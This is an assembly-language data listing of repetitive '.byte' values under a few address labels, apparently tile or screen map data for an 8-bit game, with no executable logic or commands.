.byte $39, $3A, $39, $39, $3A, $39, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $3A, $3A
.byte $3A, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $3A, $3A
.byte $3A, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $3A, $3A
.byte $3A, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $3A, $3A
.byte $3A, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $3A, $3A
.byte $3A, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $3A, $3A
.byte $3A, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $3A, $3A
.byte $3A, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $3A, $3A
.byte $3A, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $3A, $3A
.byte $3A, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $3A, $3A
.byte $3A, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $3A, $3A
.byte $3A, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $3A, $3A
.byte $3A, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $3A, $3A
.byte $3A, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $3A, $3A
.byte $3A, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $3A, $3A
.byte $3A, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $3A, $3A
.byte $3A, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $3A, $3A
.byte $3A, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $3A, $3A
.byte $3A, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $3A, $3A
.byte $3A, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $3A, $3A
.byte $3A, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $3A, $3A
.byte $3A, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $3A, $3A, $39, $3A
.byte $39, $39, $3A, $3A, $39, $3A, $3A, $39
.byte $3A, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $3A, $3A
.byte $3A, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $3A, $3A, $39, $3A
.byte $39, $39, $3A, $3A, $39, $3A, $3A, $39
.byte $3A, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $3A, $3A
.byte $3A, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $3A, $3A, $39, $3A
.byte $39, $39, $3A, $3A, $39, $3A, $3A, $39
.byte $3A, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $49, $4A
.byte $4B, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $49, $0C, $15
.byte $19, $49, $4A, $4B, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $3A, $3A, $39, $3A
.byte $39, $39, $3A, $3A, $39, $3A, $3A, $39
.byte $3A, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $49, $16, $17, $15
.byte $15, $19, $14, $19, $4B, $39, $3A, $39
.byte $3A, $39, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $49, $14, $16, $15, $15
.byte $14, $15, $14, $18, $19, $4B, $39, $3A
.byte $39, $3A, $39, $3A, $3A, $3A, $39, $3A
.byte $39, $39, $3A, $3A, $39, $3A, $3A, $39
.byte $3A, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $4E, $16, $15, $14, $16
.byte $16, $19, $18, $14, $15, $19, $3A, $39
.byte $3A, $39, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $4E, $17, $15, $14
.byte $16, $18, $16, $15, $16, $50, $39, $3A
.byte $39, $3A, $39, $3A, $3A, $3A, $39, $3A
.byte $39, $39, $3A, $3A, $39, $3A, $3A, $39
.byte $3A, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $4E, $17, $19
.byte $15, $19, $14, $19, $50, $39, $3A, $39
.byte $3A, $39, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $4E, $17
.byte $16, $49, $4F, $50, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $3A, $3A, $39, $3A
.byte $39, $39, $3A, $3A, $39, $3A, $3A, $39
.byte $3A, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $39
.byte $39, $3A, $39, $3A, $3A, $39, $3A, $39
.byte $3A, $39, $39, $3A, $39, $39, $3A, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $39, $39
.byte $3A, $39, $3A, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $3A, $3A, $39, $3A
.byte $39, $39, $3A, $3A, $39, $3A, $3A, $39
.byte $3A, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $3A, $3A
.byte $3A, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $3A, $3A, $39, $3A
.byte $39, $39, $3A, $3A, $39, $3A, $3A, $39
.byte $3A, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $39, $3A, $39, $39, $3A, $39
.byte $39, $3A, $39, $39, $3A, $39, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $3A, $3A
.byte $3A, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $3A, $3A, $39, $3A
.byte $39, $39, $3A, $3A, $39, $3A, $3A, $39
.byte $3A, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $3A, $39, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $39, $3A
.byte $39, $39, $3A, $39, $39, $3A, $39, $39
.byte $3A, $39, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $3A, $3A, $3A, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
L_8FDD .byte $39, $39, $3A, $39, $39, $3A, $39, $39
.byte $3A, $39, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $3A, $3A, $3A, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $39, $3A, $39, $39, $3A, $39, $39
.byte $3A, $39, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
L_901D .byte $39, $3A, $3A, $3A, $3A, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $3A, $3A, $39, $3A, $39, $39, $3A, $3A
.byte $39, $3A, $3A, $39, $3A, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $39, $3A
.byte $39, $39, $3A, $39, $39, $3A, $39, $39
.byte $3A, $39, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $3A, $3A, $3A, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $3A, $3A, $39, $3A, $39, $39, $3A, $3A
.byte $39, $3A, $3A, $39, $3A, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $39, $3A
L_90A5 .byte $39, $39, $3A, $39, $39, $3A, $39, $39
.byte $3A, $39, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $3A, $3A, $3A, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $3A, $3A, $39, $3A, $39, $39, $3A, $3A
.byte $39, $3A, $3A, $39, $3A, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $49, $4A, $4B, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $39, $3A
.byte $39, $39, $3A, $39, $39, $3A, $39, $39
.byte $3A, $39, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $49, $0C, $15, $19, $49, $4A, $4B
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $3A, $3A, $39, $3A, $39, $39, $3A, $3A
.byte $39, $3A, $3A, $39, $3A, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $49, $16, $17, $15, $15, $19, $14, $19
.byte $4B, $39, $3A, $39, $3A, $39, $39, $3A
.byte $39, $39, $3A, $39, $39, $3A, $39, $39
.byte $3A, $39, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $49
.byte $14, $16, $15, $15, $14, $15, $14, $18
.byte $19, $4B, $39, $3A, $39, $3A, $39, $3A
L_916D .byte $3A, $3A, $39, $3A, $39, $39, $3A, $3A
.byte $39, $3A, $3A, $39, $3A, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $4E
.byte $16, $15, $14, $16, $16, $19, $18, $14
.byte $15, $19, $3A, $39, $3A, $39, $39, $3A
.byte $39, $39, $3A, $39, $39, $3A, $39, $39
.byte $3A, $39, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $4E, $17, $15, $14, $16, $18, $16, $15
.byte $16, $50, $39, $3A, $39, $3A, $39, $3A
.byte $3A, $3A, $39, $3A, $39, $39, $3A, $3A
.byte $39, $3A, $3A, $39, $3A, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $4E, $17, $19, $15, $19, $14, $19
.byte $50, $39, $3A, $39, $3A, $39, $39, $3A
.byte $39, $39, $3A, $39, $39, $3A, $39, $39
.byte $3A, $39, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $4E, $17, $16, $49, $4F, $50
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $3A, $3A, $39, $3A, $39, $39, $3A, $3A
.byte $39, $3A, $3A, $39, $3A, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $39, $39, $3A, $39, $3A
.byte $3A, $39, $3A, $39, $3A, $39, $39, $3A
.byte $39, $39, $3A, $39, $39, $3A, $39, $39
.byte $3A, $39, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $3A, $3A, $3A, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $39, $3A, $39, $39, $3A, $39, $39
.byte $3A, $39, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $3A, $3A, $3A, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $39, $3A, $39, $39, $3A, $39, $39
.byte $3A, $39, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $3A, $3A, $3A, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $39, $3A, $39, $39, $3A, $39, $39
.byte $3A, $39, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $3A, $3A, $3A, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $39, $3A, $39, $39, $3A, $39, $39
.byte $3A, $39, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $3A, $3A, $3A, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $39, $3A, $39, $39, $3A, $39, $39
.byte $3A, $39, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $3A, $3A, $3A, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $39, $3A, $39, $39, $3A, $39, $39
.byte $3A, $39, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $3A, $3A, $3A, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $39, $3A, $39, $39, $3A, $39, $39
.byte $3A, $39, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $3A, $3A, $3A, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $39, $3A, $39, $39, $3A, $39, $39
.byte $3A, $39, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $3A, $3A, $3A, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $39, $3A, $39, $39, $3A, $39, $39
.byte $3A, $39, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $3A, $3A, $3A, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $39, $3A, $39, $39, $3A, $39, $39
.byte $3A, $39, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $3A, $3A, $3A, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $39, $3A, $39, $39, $3A, $39, $39
.byte $3A, $39, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $3A, $3A, $3A, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $39, $3A, $39, $39, $3A, $39, $39
.byte $3A, $39, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $3A, $3A, $3A, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $39, $3A, $39, $39, $3A, $39, $39
.byte $3A, $39, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $3A, $3A, $3A, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $39, $3A, $39, $39, $3A, $39, $39
.byte $3A, $39, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $3A, $3A, $3A, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $39, $3A, $39, $39, $3A, $39, $39
.byte $3A, $39, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $3A, $3A, $3A, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $39, $3A, $39, $39, $3A, $39, $39
.byte $3A, $39, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $3A, $3A, $3A, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $39, $3A, $39, $39, $3A, $39, $39
.byte $3A, $39, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $3A, $3A, $3A, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $39, $3A, $39, $39, $3A, $39, $39
.byte $3A, $39, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $3A, $3A, $3A, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $39, $3A, $39, $39, $3A, $39, $39
.byte $3A, $39, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $3A, $3A, $3A, $3A, $39, $3A
L_954D .byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $39, $3A, $39, $39, $3A, $39, $39
.byte $3A, $39, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $3A, $3A, $3A, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $3A, $3A, $39, $3A, $39, $39, $3A, $3A
.byte $39, $3A, $3A, $39, $3A, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $39, $3A
.byte $39, $39, $3A, $39, $39, $3A, $39, $39
.byte $3A, $39, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $3A, $3A, $3A, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $3A, $3A, $39, $3A, $39, $39, $3A, $3A
.byte $39, $3A, $3A, $39, $3A, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $39, $3A
.byte $39, $39, $3A, $39, $39, $3A, $39, $39
.byte $3A, $39, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $3A, $3A, $3A, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $3A, $3A, $39, $3A, $39, $39, $3A, $3A
.byte $39, $3A, $3A, $39, $3A, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $39, $3A
.byte $39, $39, $3A, $39, $39, $3A, $39, $39
.byte $3A, $39, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $3A, $3A, $3A, $3A, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $3A, $3A, $39, $3A, $39, $39, $3A, $3A
.byte $39, $3A, $3A, $39, $39, $3A, $46, $47
.byte $47, $47, $47, $47, $47, $48, $3A, $39
.byte $3A, $39, $39, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $39, $3A
.byte $39, $39, $3A, $39, $39, $3A, $39, $39
.byte $3A, $39, $39, $3A, $39, $43, $44, $44
.byte $44, $44, $44, $44, $44, $44, $45, $39
.byte $3A, $39, $3A, $39, $3A, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $3A, $3A, $39, $3A, $39, $39, $3A, $3A
.byte $39, $3A, $3A, $39, $1E, $0C, $0C, $0C
.byte $0C, $0C, $0C, $0C, $0C, $0C, $0C, $21
.byte $39, $3A, $39, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $39, $3A
.byte $39, $39, $3A, $39, $39, $3A, $39, $39
.byte $3A, $39, $39, $3A, $22, $3F, $40, $0C
.byte $01, $1F, $20, $01, $0C, $0C, $0C, $24
.byte $3A, $39, $3A, $3A, $3A, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $39, $3A, $39, $39, $3A, $39, $39
.byte $3A, $39, $39, $3A, $22, $3D, $3E, $0C
.byte $01, $2D, $2E, $01, $0C, $3B, $3C, $24
.byte $39, $3A, $3A, $3A, $3A, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $39, $3A, $39, $39, $3A, $39, $39
.byte $3A, $39, $39, $3A, $22, $0C, $3F, $40
.byte $01, $23, $0C, $01, $0C, $04, $05, $24
.byte $39, $3A, $3A, $3A, $3A, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
L_975D .byte $39, $39, $3A, $39, $39, $3A, $39, $39
.byte $3A, $39, $39, $3A, $22, $0C, $3D, $3E
.byte $01, $23, $0C, $01, $0C, $3B, $3C, $24
.byte $3A, $39, $3A, $3A, $3A, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $39, $3A, $39, $39, $3A, $39, $39
.byte $3A, $39, $39, $3A, $22, $3F, $40, $0C
.byte $01, $23, $0C, $01, $0C, $04, $05, $24
.byte $3A, $39, $3A, $3A, $3A, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $39, $3A, $39, $39, $3A, $39, $39
.byte $3A, $39, $39, $3A, $22, $3D, $3E, $0C
.byte $01, $23, $0C, $01, $0C, $3B, $3C, $24
.byte $39, $3A, $3A, $3A, $3A, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $39, $3A, $39, $39, $3A, $39, $39
.byte $3A, $39, $39, $3A, $22, $0C, $3F, $40
.byte $01, $23, $0C, $01, $0C, $04, $05, $24
.byte $39, $3A, $3A, $3A, $3A, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $39, $39, $3A, $39, $39, $3A, $39, $39
.byte $3A, $39, $39, $3A, $22, $0C, $3D, $3E
.byte $01, $23, $0C, $01, $0C, $3B, $3C, $24
.byte $3A, $39, $3A, $3A, $3A, $3A, $39, $3A
.byte $39, $3A, $39, $3A, $39, $3A, $39, $3A
.byte $3A, $3A, $39, $3A, $39, $39, $3A, $3A
.byte $39, $3A, $3A, $39, $22, $0C, $0C, $0C
.byte $01, $23, $0C, $01, $0C, $04, $05, $24
.byte $39, $3A, $39, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $39, $3A
.byte $39, $39, $3A, $39, $3A, $3A, $39, $39
.byte $3A, $39, $39, $3A, $22, $03, $03, $03
